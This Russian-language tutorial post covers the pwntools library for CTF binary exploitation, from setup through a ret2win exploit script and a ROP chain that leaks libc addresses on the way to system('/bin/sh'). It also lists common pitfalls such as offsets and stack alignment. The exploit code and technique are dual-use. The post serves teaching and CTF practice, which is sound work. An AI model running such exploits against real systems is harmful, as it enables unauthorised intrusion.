
На последнем CTF я наблюдал, как команда из трёх человек потратила 48 минут на pwn-таск за 150 очков. Уязвимость нашли за семь минут — классический buffer overflow с ret2win. Остальные 41 минуту собирали payload вручную: считали offset в IDA, переворачивали адрес побайтово, отправляли через echo -e в nc, промахивались на один байт и получали segfault. Скрипт на pwntools из восьми строк забрал бы флаг за три минуты. Я видел это столько раз, что решил написать пошаговый разбор — от установки до рабочего эксплойта, который подключается к CTF-серверу, отправляет payload и вытаскивает флаг. Со всеми граблями, на которые наступает каждый новичок.
[Применимо: CTF, лабораторные среды, тестовые стенды. В продуктивных пентестах — только для проверки PoC на согласованных с заказчиком сервисах.]
python3-dev, git, libssl-dev, libffi-dev, build-essentialУстановка в два шага. Сначала системные пакеты: sudo apt-get update && sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential. Затем pwntools: python3 -m pip install --upgrade pwntools. По документации на docs.pwntools.com этого хватит за глаза для всех основных модулей.
После установки проверьте утилиту pwn — наберите pwn version в терминале. Если увидите предупреждение о ~/.local/bin не в $PATH — добавьте строку export PATH="$HOME/.local/bin:$PATH" в ~/.bashrc и перезагрузите сессию.
Дополнительно поставьте GDB и pwndbg: sudo apt-get install gdb, затем клонируйте pwndbg с GitHub и запустите setup.sh. Pwntools умеет подключать GDB к запущенному процессу через gdb.attach(p) — без этого отладка эксплойтов превращается в слепое гадание по segfault'ам.
Шаблон эксплойта генерируется командой pwn template ./binary_name > exploit.py. На выходе — готовый скелет с импортами, настройками контекста и переключением между local/remote через аргументы командной строки. На соревнованиях этот шаблон экономит минуты, которые обычно уходят на бойлерплейт.
Прежде чем писать payload — разведка. Запустите checksec ./vuln (утилита встроена в pwntools и pwndbg). Типичный вывод для учебного таска:
.got.plt доступна на запись (в отличие от Full RELRO), можно перезаписать GOT-запись для перенаправления вызововЭти четыре параметра определяют стратегию эксплуатации целиком. Пропустить этот шаг — потратить часы на неверные предположения. Я видел людей, которые полчаса пытались засунуть shellcode на стек при включённом NX. Не будьте такими.
Глобальный объект context задаёт архитектуру, ОС и порядок байт для всего скрипта. Самый надёжный способ — привязать к бинарю: context.binary = './vuln'. Pwntools сам определит arch, endianness и word size из ELF-заголовка. Ручная альтернатива — context.arch = 'amd64' и context.os = 'linux'. Без правильного контекста p32()/p64() будут паковать с неверным порядком байт, payload не сработает, а причину вы будете искать часами. Спрашиваю на каждом разборе CTF: «Контекст выставили?» — и в половине случаев ответ «а, точно...».
Класс ELF из pwnlib.elf парсит бинарь и даёт программный доступ к символам, GOT и PLT. Вместо хардкода адреса из IDA загрузите ELF: elf = ELF('./vuln'). Адрес функции: elf.symbols['win']. GOT-запись: elf.got['puts']. PLT-запись: elf.plt['puts']. Если бинарь перекомпилировали и адреса сдвинулись — ELF() подхватит новые значения автоматически, а хардкод сломается. На соревнованиях организаторы иногда обновляют бинарь в середине раунда — и скрипт с ELF() продолжает работать, пока соседняя команда судорожно перебивает адреса.
Уровень логирования: context.log_level = 'debug' выводит hex-дамп каждого отправленного и полученного байта. Переключайте на 'info' после отладки, иначе вывод захлебнётся.
Tube — центральная абстракция ввода-вывода pwntools. Три типа под три сценария:
process('./vuln') — запуск локального бинаря как дочернего процесса. Основной инструмент отладки: тестируете payload на своей машине, убеждаетесь, что всё работает, и только потом переключаетесь на remote. Вызов p = process('./vuln') запускает бинарь и возвращает tube для взаимодействия с его stdin/stdout.
remote('challenge.ctf.com', 1337) — TCP-подключение к CTF-серверу. Прямая замена nc, только скриптуемая. Организаторы дают адрес и порт — вы подключаетесь скриптом и забираете флаг.
listen(4444) — серверный сокет для reverse shell. Метод wait_for_connection() блокируется до входящего подключения. Используется реже, но для тасков с reverse shell — незаменим.
Все три типа наследуют единый интерфейс из pwnlib.tubes. Методы send(), recv(), interactive() работают одинаково — общаетесь с локальным процессом или с удалённым сервером, без разницы. Эксплойт переключается с local на remote заменой одной строки. В шаблоне pwn template переключение реализовано через аргумент: python3 exploit.py REMOTE host port использует remote(), запуск без аргументов — process(). Красота.
send(data) отправляет байты как есть, без добавления чего-либо. Используйте, когда payload должен быть побайтово точным. sendline(data) добавляет \n — аналог нажатия Enter. В большинстве CTF-тасков сервер ждёт ввод с переводом строки, так что sendline() — выбор по умолчанию.
sendlineafter(delim, data) — рабочая лошадка: ждёт строку delim в ответе сервера, затем отправляет data + \n. Покрывает 90% сценариев взаимодействия. Пример: сервер выводит Enter your name:, скрипт вызывает p.sendlineafter(b'name:', payload) и точно попадает в нужный момент диалога. Есть парный sendafter() — то же, но без \n.
recv(n) принимает до n байт, но не гарантирует ровно n — вернёт сколько есть в буфере. recvline() — одна строка до \n. recvuntil(delim) — всё до появления delim, параметр drop=True убирает разделитель из результата. recvall() — всё до закрытия соединения, полезно в конце эксплойта для захвата флага.
interactive() переключает tube в интерактивный режим — скрипт «отпускает руль», и вы работаете напрямую с процессом, как через nc. Типичный финал: отправили payload, получили shell, вызвали interactive() и набираете cat flag.txt руками.
Все методы принимают и возвращают bytes, не str. Пишите p.send(b'AAAA'), не p.send('AAAA'). В Python 3 текстовая строка вызовет TypeError. Каждый новичок наступает на эти грабли — тем более что старые writeup'ы на Python 2 этой разницы не знают и уводят в сторону.
Offset до адреса возврата — расстояние в байтах от начала буфера до сохранённого RIP на стеке. Можно посчитать в IDA: размер буфера + padding от компилятора + saved RBP. Но компилятор добавляет alignment до числа, кратного 16, и визуальный подсчёт регулярно врёт. Надёжнее — cyclic() из модуля pwnlib.util.cyclic.
Модуль генерирует паттерн Де Брёйна — последовательность, где каждая подстрока длины N уникальна. Вызов cyclic(200) создаёт 200 байт такого паттерна. Отправляете его в бинарь — программа падает, и в регистре RIP (или в corefile) оказывается 4- или 8-байтовый фрагмент паттерна. Передаёте это значение как integer в cyclic_find() и получаете точный offset. Например, cyclic_find(0x6161616c) вернёт числовой offset этого значения внутри паттерна. Или так: cyclic_find(core.read(core.rsp, 4)), если нужно вытащить значение из corefile напрямую.
Автоматизация через pwntools ещё удобнее: запустите бинарь через p = process('./vuln'), отправьте p.sendline(cyclic(200)), дождитесь краша. Создайте corefile: core = p.corefile. Прочитайте нужный регистр — core.rsp или core.pc (зависит от типа переполнения). Передайте значение с фрагментом паттерна в cyclic_find() — и получите offset без единого запуска GDB руками. Три строки кода вместо пятнадцати минут в отладчике.
Работает если: бинарь действительно крашится при переполнении (нет обработки сигналов), core dump включён (ulimit -c unlimited).
Не работает если: бинарь перехватывает SIGSEGV через signal(), или ввод обрезается fgets()/read() до длины, которая не достаёт до RIP.
На x86/x64 данные хранятся в little-endian: адрес 0xdeadbeef в памяти лежит как \xef\xbe\xad\xde. Переворачивать вручную — верный путь к ошибке на третьем адресе в цепочке (проверено, причём не раз). Функции p32() и p64() из pwnlib.util.packing делают это автоматически: p32(0xdeadbeef) возвращает b'\xef\xbe\xad\xde'. Обратные — u32() и u64() — распаковывают байты обратно в число. По сути p32(addr) — это struct.pack('<I', addr), но без необходимости помнить format-коды.
Поведение зависит от context.arch: при amd64 обобщённая pack() выберет 64 бита, при i386 — 32. В эксплойтах я предпочитаю явные p32()/p64(), чтобы не зависеть от глобального состояния.
Функция flat() — менее известная, но крайне полезная штука. Она конкатенирует аргументы, автоматически упаковывая числа через pack() согласно текущему контексту. Вместо b'A' * 72 + p64(0x401234) пишете flat(b'A' * 72, 0x401234) — короче, чище, меньше шансов облажаться с порядком байт.
Типичный CTF pwn-таск: бинарь vuln с buffer overflow и функцией win(), которая выводит флаг. checksec показывает NX enabled, PIE disabled, No canary. Задача — перенаправить выполнение на win().
from pwn import *
context.binary = elf = ELF('./vuln')
p = process('./vuln') # remote('host', port) для сервера
offset = 72 # найден через cyclic_find()
payload = flat(b'A' * offset, elf.symbols['win'])
p.sendlineafter(b'Input:', payload)
p.interactive()
Разбор по строкам. context.binary = elf = ELF('./vuln') — одной строкой загружаем ELF и настраиваем контекст (arch, endianness определятся из заголовка бинаря). flat() собирает padding из 72 байт мусора и адрес win(), упакованный по правилам текущей архитектуры. sendlineafter() ждёт приглашения Input: и отправляет payload с переводом строки. interactive() переключает в ручной режим — на экране появится флаг или shell.
Переключение на сервер: замените process('./vuln') на remote('challenge.ctf.com', 1337). Весь остальной код — без изменений. Вот ради этого и существуют tubes.
Когда целевой функции win() нет и нужно вызвать system("/bin/sh") через libc — потребуется ROP-цепочка. Класс ROP из pwnlib.rop сканирует бинарь на гаджеты и автоматически строит цепочки вызовов.
from pwn import *
elf = context.binary = ELF('./vuln')
rop = ROP(elf)
# Stage 1: leak адреса puts из GOT, затем возврат в main для stage 2
rop.call('puts', [elf.got['puts']])
rop.call('main')
payload = flat(b'A' * offset, rop.chain())
# Stage 2 (не показан): recv leak, вычислить libc base, построить payload с system("/bin/sh")
ROP(elf) находит гаджеты вида pop rdi; ret, pop rsi; pop r15; ret в бинаре. Метод call() расставляет аргументы через найденные гаджеты и добавляет адрес функции. rop.chain() возвращает готовые байты. Этот фрагмент делает leak адреса puts из GOT — зная его, можно вычислить базу libc и найти system() + строку /bin/sh для второго раунда. Возврат в main через rop.call('main') даёт возможность отправить второй payload. При этом может потребоваться выравнивание стека — добавьте гаджет ret перед вызовом (подробнее в разделе про stack alignment ниже).
Метод rop.dump() выведет читаемое описание цепочки: какой гаджет куда ведёт, что лежит на стеке. Когда цепочка не работает, dump() покажет, какой гаджет pwntools выбрал и правильно ли расставлены аргументы. Без этого — тупо пялишься на segfault и гадаешь.
Работает если: PIE отключён (адреса гаджетов фиксированы), в бинаре достаточно гаджетов для calling convention целевой архитектуры (для x64 — минимум pop rdi; ret).
Не работает если: PIE включён и нет утечки базового адреса бинаря. Тогда сначала нужен leak через format string или partial overwrite, пересчёт базы через elf.address = leaked - elf.symbols['known'], и только потом построение ROP. Также не сработает, если бинарь stripped и символы отсутствуют — адреса функций придётся искать вручную через реверс в IDA/Ghidra.
Вызов gdb.attach(p) открывает GDB (с pwndbg или gef, если установлен), подключённый к запущенному процессу. Можно поставить breakpoint, посмотреть стек после отправки payload, убедиться, что RIP перезаписан нужным адресом. Параметр gdbscript позволяет передать команды сразу: gdb.attach(p, gdbscript='b *main+42\nc') — breakpoint и continue одной строкой. Работает с process(); для удалённых целей требуется дополнительная настройка (SSH, gdbserver) — с обычным remote() из коробки не заведётся. Отлаживайте локально, потом переключайтесь.
Неправильный offset. Считали в IDA 64 байта, а реально 72 — компилятор добавил alignment до числа, кратного 16. Всегда проверяйте через cyclic() + corefile, не доверяйте одному визуальному анализу стека в дизассемблере.
Лишний newline. sendline() добавляет \n. Если payload уже содержит ровно нужное количество байт — лишний символ сдвинет всё на байт и сломает адрес возврата. Используйте send() для тех payload'ов, где каждый байт на счету.
Stack alignment на x86-64. При вызове system() стек должен быть выровнен по 16 байтам. Если выравнивание нарушено — system() крашится на инструкции movaps внутри glibc, и segfault выглядит как проблема в payload, хотя адрес перезаписан правильно. Решение: добавьте гаджет ret (один байт \xc3) перед адресом целевой функции. Без опыта эту причину можно искать часами — я сам когда-то потратил целый вечер, пока до меня дошло.
Libc mismatch. Эксплойт работает локально, но не на сервере — версии glibc различаются, смещения system() и строки /bin/sh не совпадают. Утилита pwninit (описана в The Pwner's Roadmap на izzy.sh) решает проблему: она патчит бинарь для использования серверной версии libc/linker, чтобы локальная среда совпадала с remote. Столкнётесь в первые же недели remote-тасков — это не опциональное знание. Для heap-задач, где важно поведение аллокатора, проект glibc-all-in-one позволяет скачать и тестировать против любой версии glibc.
bytes vs str. p.send('AAAA') вместо p.send(b'AAAA') — Python 3 выбросит TypeError. Каждый writeup старше 2020 года на Python 2 этой проблемы не имел, поэтому новички копируют код и не понимают, почему не работает. Добавляйте b — и живите спокойно.
Я веду pwn-направление на соревнованиях три года и вижу одну и ту же картину: люди находят уязвимость, вычисляют offset, знают адрес целевой функции — и тратят 40 минут на ручную сборку payload через struct.pack и отправку через subprocess.Popen. Потом ещё 20 минут на отладку, потому что забыли про endianness или добавили лишний байт.
Pwntools — не «ещё одна библиотека для изучения». Это разница между «понимаю теорию переполнения буфера» и «забираю флаг за три минуты». Шаблон из pwn template, cyclic() для offset, ELF() для символов, flat() для сборки payload — четыре инструмента, которые покрывают 80% pwn-тасков начального и среднего уровня. Остальные 20% — heap exploitation, format string, kernel pwn — строятся поверх того же фундамента, теми же tubes и тем же контекстом.
И одна вещь, которую ни один pwntools туториал не говорит прямо: не пытайтесь выучить библиотеку целиком. В pwnlib десятки модулей — shellcraft, dynelf, fmtstr, filepointer, rop.srop. На старте нужны tubes, packing, ELF и cyclic. Всё остальное подключайте по мере появления задач, которые этого требуют. Попытка освоить всё разом до первого решённого таска — ловушка. Четыре базовых модуля, отработанные на десяти реальных бинарях, дают больше, чем чтение документации от корки до корки. Возьмите любой таск с picoCTF или pwnable.kr, напишите эксплойт по этой статье — и дальше пойдёт само.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...